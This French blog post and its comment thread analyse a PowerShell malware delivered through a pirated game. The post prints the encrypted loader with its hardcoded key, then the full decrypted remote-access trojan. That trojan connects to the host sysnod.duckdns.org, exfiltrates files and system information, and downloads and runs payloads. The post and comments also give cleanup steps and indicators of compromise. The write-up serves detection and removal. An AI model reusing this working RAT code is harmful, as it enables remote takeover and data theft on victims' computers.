Hello à tous, c’est la rentré et cette été je suis tombé sur un malware PowerShell Cors.ps1, plutôt rigolo, chez un pote. Depuis que je vous ai écrit un livre sur la Cybersécurité et PowerShell, je me suis dit que c’était un bon article pour la rentrée. L’avantage c’est que je peux vous le partager, d’autant que je n’ai pas trouvé trop de littérature dessus sur les sources habituelles et que le truc à pas l’air trop connus.
En terme de vecteur d’infection, cherchez pas, c’était l’installation d’un jeu vidéo piraté :-). Comme quoi, quand on vous le dit… C’est pas bien, toussa-toussa, vous êtes des grands garçon : vous faites ce que vous voulez. Le jeu piraté marchait bien, mais se mettait à ramer comme pas possible régulièrement, pas trop après un reboot et puis ça revenait au bout de 30/60min. Pas de symptômes sur le bureau, tous les graphe CPU/GPU était à zéro dans le gestionnaire de tâche. Un peu aléatoire, mais globalement son PC fonctionnait pas très bien depuis quelques temps.
Bref, je jette un oeil avec autoruns voir ce qui démarre en tâche plannifiée avec la machine et j’en sors vite deux bien cheloux :
- Un script PowerShell
cors.ps1
dansC:\Users\$user\AppData\Roaming\Webgard
. - Un executable
System.exe
mais dans le même dossierRoaming\Logistic
.
Bref, pas trop standard dans un Windows. Je vous laisse pas sur ce suspens et je vous donne de suite le script PowerShell en question :
function Execute-EncryptedScript($path) {
trap { Write-Host -fore Red "You are not authorized to decrypt and execute this script"; continue }
& {
$raw = Get-Content $path
$key = (convertto-securestring -string "4cwmytcVVcR79VvB" -asplaintext -force)
$helper = New-Object system.Management.Automation.PSCredential("test", $key)
$key = $helper.GetNetworkCredential().Password
$secure = ConvertTo-SecureString $raw -key (([int[]][char[]]$key)[0..15]) -ea Stop
$helper = New-Object system.Management.Automation.PSCredential("test", $secure)
$plain = $helper.GetNetworkCredential().Password
Invoke-Expression $plain
}
}
Execute-EncryptedScript $ENV:AppData/Webgard/core.bin
Appréciez l’avertissement qui dit qu’on a pas le droit de déchiffrer, déjà. Ensuite, big up pour la variable $key qui fait l’effort de se stocker dans un Secure String mais qui donne la clé en dur au départ (genre planquée la un minimum quoi). Du coup et après cette rapide lecture, on se dit qu’il doit être intérréssant de récupérer le contenu du fichier core.bin.
Alors là, le script kiddie lambda se dit : « houlala, du chiffrement mais j’ai la clé. N’empêche que ca va piquer pour dev une fonction de dechiffrement sur un algo que je connais pas« . Bon en vrai il suffit de remplacer le Invoke-Expression
par Write-host
et voilà : ca vous écrira le script au lieu de l’exécuter… Voilà, voilà :-). Anti retro-ingénierie 0, antivirus/EDR bypass 1. Bref, voici le contenu de core.bin.
$spl = "<>"
$vn = "Test"
$sp= "&&&"
$hostname = "sysnod.duckdns.org"
$port = "9812"
$Path = $env:temp + "\"
$ScriptName = $MyInvocation.MyCommand.Name
$fullPathIncFileName = $MyInvocation.MyCommand.Definition
# object com
$WshShell = New-Object -comObject WScript.Shell
$Sh = New-Object -comObject Shell.Application
$Fs = New-Object -comObject Scripting.FileSystemObject
try
{
$Client = New-Object -TypeName System.Net.Sockets.TcpClient
$Client.Connect($hostname, $port)
$tcpStream = $Client.GetStream()
}
catch
{
$_.Exception.Message
}
function info {
$mch = [environment]::Machinename
$usr = [environment]::username
$SerialNumber = $Fs.GetDrive("c:\").SerialNumber
$SerialNumber = "{0:X}" -f $SerialNumber
$HWD = $SerialNumber
$wi = (Get-WmiObject Win32_OperatingSystem).Caption
$wi = $wi + (Get-WmiObject Win32_OperatingSystem).OSArchitecture
$wi =$wi.replace('64-bit',' x64').replace('32-bit',' x86').replace('?','e');
$av = (Get-WmiObject -Namespace 'root/SecurityCenter2' -Class 'AntiVirusProduct').displayname;
$nanav =""
if ($av -eq $null)
{$av = 'nan-av'}
$e = $env:windir + '\Microsoft.NET\Framework\v2.0.50727\vbc.exe';
if (test-path $e)
{$nt = '.Net YES'}
else
{$nt= '.Net NO'};
$cpu = (Get-WMIObject win32_Processor).Name;
$gpu = (Get-WMIObject win32_videocontroller).Name;
$u = 'PC' + $spl + $vn + '-' + $HWD+ $spl + $usr + $spl + $mch + $spl + $wi + $spl + $av + $spl + $nt + $spl + $cpu + $spl + $gpu + $spl + $sp;
return $u
}
Function getdriver{
$fso = New-Object -Com "Scripting.FileSystemObject"
foreach ($driv in $fso.drives ){
if ($driv.isready -eq $true ){
$drv = $drv + $driv.path + "|"
}
}
return $drv
}
Function getfolder($dir) {
[System.IO.DirectoryInfo]$directInf = New-Object IO.DirectoryInfo($dir )
$frd = $dir + '<|>'
$folders = $directInf.GetDirectories()
foreach($fd in $directInf.GetDirectories()){
$frd += $fd.Name + "|" + "" + "|" + "Folder" + "|" + '<|>'
}
$dInf = New-Object IO.DirectoryInfo($dir)
$fileEntries =[IO.FileInfo]
foreach( $fileEntries in $dInf.GetFiles("*.*"))
{
$frd += $fileEntries.Name + "|" + $fileEntries.Length + "|" + "File" + "|" + '<|>'
}
return $frd
}
#=========================================================================================
Function process-m{
$ProcRunning =Get-Process
foreach ($process in $ProcRunning)
{
$pd += $process.ProcessName+ "|" + $process.id + "|" + $process.path + '<|>'
}
return $pd
}
function CMDOS($cmd){
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class UserWindows {
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
}
"@
try {
$ActiveHandle = [UserWindows]::GetForegroundWindow()
$Process = Get-Process | ? {$_.MainWindowHandle -eq $activeHandle}
$Process | Select ProcessName, @{Name="concentr.exe";Expression= {($_.MainWindowTitle)}}
} catch {
Write-Error "Failed to get active Window details. More Info: $_"
}
}
while($true) {
if ($Client.Connected){
if ($tcpStream.CanRead -And $Client.Available -ge 0 ){
$buffer = New-Object -TypeName System.Byte[] $Client.ReceiveBufferSize
$read = $tcpStream.Read($buffer, 0, $Client.ReceiveBufferSize)
$PP += [System.Text.Encoding]::Default.GetString($buffer, 0,$read)
If ($PP.Contains($sp)){
$T = $PP.split($spl)
$PP =$null
}
if ($T[0] -eq 'pc') {
$message = info
$data = [System.Text.Encoding]::Default.GetBytes($message)
$tcpStream.Write($data, 0, $data.Length)
$message = $null
}
if ($T[0] -eq 'cl') {
exit
}
if ($T[0] -eq 'dis') {
$tcpStream.Dispose()
$Client.Close()
}
if ($T[0] -eq 'opr'){
$proc = process-m
$data = [System.Text.Encoding]::ASCII.GetBytes('opr'+ $spl + $proc + $sp)
$tcpStream.Write($data, 0, $data.Length)
$proc = $null
}
if ($T[0] -eq 'prc'){
$proc = process-m
$data = [System.Text.Encoding]::ASCII.GetBytes('process'+ $spl + $proc + $sp)
$tcpStream.Write($data, 0, $data.Length)
$proc = $null
}
if ($T[0] -eq 'kpr') {
stop-process -id $T[2]
}
if ($T[0] -eq 'cmd'){
$data = [System.Text.Encoding]::ASCII.GetBytes('cmd'+ $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
}
if ($T[0] -eq 'sh'){
$text = CMDOS($T[2])
$data = [System.Text.Encoding]::ASCII.GetBytes('sh'+ $spl + $text + $sp)
$tcpStream.Write($data, 0, $data.Length)
$text = $null
}
if ($T[0] -eq 'frm') {
$data = [System.Text.Encoding]::ASCII.GetBytes('frm'+ $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
}
if ($T[0] -eq 'drv') {
$drv = getdriver($T[2])
$data = [System.Text.Encoding]::ASCII.GetBytes('drv' + $spl + $drv + $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
$drv=$null
}
if ($T[0] -eq 'fld') {
$fld = getfolder($T[2])
$data = [System.Text.Encoding]::ASCII.GetBytes('fld'+ $spl + $fld + $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
$fld = $null
}
if ($T[0] -eq 'dwn') {
$content =[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes($T[2]))
$data = [System.Text.Encoding]::ASCII.GetBytes('dwn'+ $spl + $content + $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
}
if ($T[0] -eq 'runas') {
[Diagnostics.Process]::Start($T[2])
}
if ($T[0] -eq 'up') {
[System.IO.File]::WriteAllBytes($T[2], [Convert]::Frombase64String($T[4]))
$data = [System.Text.Encoding]::ASCII.GetBytes('uF1'+ $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
$T = $null
}
if ($T[0] -eq 'uns') {
exit
}
if ($T[0] -eq 'u1') {
$data = [System.Text.Encoding]::ASCII.GetBytes('u1'+ $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
}
if ($T[0] -eq 'up1') {
[System.IO.File]::WriteAllBytes($Path + $T[2], [Convert]::Frombase64String($T[4]))
[System.Diagnostics.Process]::Start($Path + $T[2])
$data = [System.Text.Encoding]::ASCII.GetBytes('uF1'+ $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
}
#
if ($T[0] -eq 'img') {
$content =[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes($T[2]))
$data = [System.Text.Encoding]::ASCII.GetBytes('img'+ $spl + $content + $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
$content=$null
}
if ($T[0] -eq 'rnf') {
Rename-Item $T[2] $T[4]
}
if ($T[0] -eq 'df') {
Remove-Item $T[2]
}
#...........
if ($T[0] -eq 'cvs') {
$data = [System.Text.Encoding]::ASCII.GetBytes('cvs'+ $spl + $sp)
$tcpStream.Write($data, 0, $data.Length)
}
}else {
$tcpStream.Dispose()
$Client.Close()
$Client = New-Object System.Net.Sockets.TcpClient($hostname,$port)
$tcpStream = $Client.GetStream()
$PP =$null
$T = $null
}
}else {
$tcpStream.Dispose()
$Client.Close()
$Client = New-Object System.Net.Sockets.TcpClient($hostname,$port)
$tcpStream = $Client.GetStream()
$PP =$null
$T = $null
}
Start-Sleep -m 5
}
Et voilà, ce malware PowerShell Cors.ps1 vous donne un joli reverse shell de prise de controle en PowerShell. By the end, le truc est un peu decevant, y’a pas trop d’obfucation et le résultat vous installe un bête crypto-mineur GPU. Le seul truc que j’ai trouvé sympa avec ce crypto mineur GPU, c’est qu’il arrête le minage dès qu’il voit que le task mananger est démarré. Ce qui lui évite de se faire réperer et killer trop facilement. Par contre, si vous lancer un autre programme comme gpuz.exe vous verrez votre GPU qui bourrine à 100% comme un con (et oui je vous ai dit que ca venait d’un jeu piraté, on cible des gamers donc on mine sur le GPU)
Pour le nettoyage, vous pouvez juste virer les fichiers indiqué et désactiver les tâches plannifiées en question. Je n’ai vu d’autre trâces de persistence du malware. Un petit coup d’AV par dessus ne faisant jamais de mal
Niveau risque associé, je pense c’est assez « lambda » même si le Remote Shell permet effectivement de se promener sur le système, le niveau de technicité du script n’indique pas un attaquant d’un très haut niveau là (je vous laisse regarde l’extrait d’Emotet/PowerShell Empire dans mon bouquin en comparaison). Avec un vecteur d’infection par des jeux vidéos piratés. Je crains qu’il soit plus à la recherche de numéro de carte bleu sur votre bureau que de vos données hyper-sensible et votre base de mot de passe.
Bref, rien de foufou, mais ca m’a fait marrer un peu de tomber sur un malware PowerShell. Je vous ai laissé les IoC dans le corps de l’article. Je vous renvoi vers le poster find evil du SANS si vous cherchez des trucs pas normaux.
Et sur ce : Bonne rentrée et Geekez bien pour cette nouvelle année !
Hello,
Content de tomber sur ton post.
J’ai eu la même chose et j’en ai fait un PDF explicatif, avec les commandes shells pour clean tout ça :
FL_STUDIO_miner.pdf :
httpx://drive.proton.me/urls/CXM45P3EDM#VrGgvVPobwyI
miner explications.pdf :
httpx://drive.proton.me/urls/CREA3BJTPC#qUD2ccN3tCNo
Je voulais faire une vidéo explicative, mais je ne retrouve plus l’exe d’installation T-T.
Bon courage à tous.
Super article c’est ce que je cherchais ! Il semble que j’ai eu une variante hébergé sur un autre site. J’ai contacté Hostinger pour qu’ils supprime le site.
Ma tâche planifiée était ‘\Microsoft\Windows\Bluetooth\UninstallDeviceTask’
Et les fichiers dans AppData\Roaming\Winsoft et C:\windows\DlHost.exe
Si ca peut aider.
Salut,
J’ai eu le même cas que toi et il est possible que tu aies une autre tâche planifiée liée au winsoft\core.ps1, moi c’était un truc un peu bidon qui commençait par « MSI » qui executait le script via powershell à chaque lancement, en plus de l’autre tâche planifiée « Bluetooth\UninstallDeviceTask ». N’hésite pas à double checker pour être sûr, moi j’ai supprimé ces 2 tâches planifiées et les fichiers core.ps1, core.bin, mid.ps1, mid.bin et DlHost.exe.
Ca m’apprendra à vouloir télécharger un photoshop cracké…
Sur ce, bonne soirée !
Hello,
Déjà merci, j’ai enfin pu comprendre mon soucis. Ce qui m’a mis sur la piste, c’est mon gestionnaire des taches qui se fermait tout seul au bout de 20mn, du coup impossible de savoir ce qui faisait tourner à 100% mon gpu …
Et j’ai trouvé ton article via ce mot clé : « sysnod.duckdns.org » qui est la connexion que bloque Malwarebites.
Bref, très intéressant. Par contre je souhaiterai l’enlever, sachant que MB ne semble pas le faire automatiquement. Aurais-tu stp un logiciel, ou une astuce pour le faire, sachant qu’on ne va pas supprimer le powershell bien sur… Je ne trouve pas core.ps1 dans le démarrage ou le gestionnaire de tache, puisqu’il s’autokill à l’ouverture je pense.
Merci par avance 😉 , ma facture d’électricité te remercie également
J’ai bien supprimé ceci : PowerShell cors.ps1 dans C:\Users\$user\AppData\Roaming\Webgard
D’ailleurs Malwarebites ne me fait plus de détection sortante, donc je me suis dis que c’était bon. Pour autant, j’ai encore mon GPU qui s’active au bout de 15mn à 100% …
Et je ne trouve rien dans le planificateur de tache … Que me manque-t-il ?
Je continue mes recherches 😉
++
Ca semble good après la suppression d’un fichier avec un nom proche d’un fichier system: svshost.exe
J’ai trouvé la solution sur ce site : https://blog.talosintelligence.com/cybercriminals-target-graphic-designers-with-gpu-miners/
Pour les prochains qui auraient besoin d’aide 😉
++
Hello, Good Job ! Et effectivement Talos Intelligence c’est probablement un peu plus complet et pro que mon blog… pas les même moyen aussi faut dire :’-D.
J’aurai quand même la satisfaction d’avoir sortie mon article un an avant eux (take that Cisco :p) ! Et merci pour le lien, je vais aller lire ça !
Effectivement, svshost.exe semble être un bon suspect vu le nom…^^ Content que tu es pu faire ton ménage. Si tu veux retrouver comment le fichier est lancé au démarrage, tu peux essayer de passer un coup d’Autoruns (Sysinternals).
Maintenant que tu as le fichier, cherches le mécanisme de persistance associés !
Merci pour l’info et l’analyse. J’avais remarqué depuis quelque temps une fenêtre PowerShell qui ouvrait et fermait rapidement, après avoir inspecté le planificateur de tâches, j’ai trouvé cor.ps1 et Google m’a amené ici. C’est maintenant désactivé!
Content que ça serve du coup !
Could you share the hash of the crypto-minor that was installed?
Hello Chetan, You’re looking for these 3 files :
https://www.virustotal.com/gui/file/f3cae094e68471143cb3dc02aa42ef9204644442f22345edcd1c304a01b2ccf2
https://www.virustotal.com/gui/file/3c874cf7cf55d93bc13152951f88aba2b5454d8d6eb5f7901c4e6cb89c3ef642
https://www.virustotal.com/gui/file/b8ba9683c654b00979e5fe761fcd9cb8c3ee9b66cd443c878981f94a9ab3a592
With the SHA-256 hash in the URL.
see you arround !
Hello Etienne,
Thank you for sharing the hashes. I had come across a couple of RATS that were related to the PowerShell RAT that I am analyzing in a campaign and have overlaps with the one that you have described with minor changes. But I have not seen a crypto-minor GPU beast. I was looking for the hash of that crypto-minor GPU Beast that you had seen last year.
Thanks.
No worries, I found the coin-miner.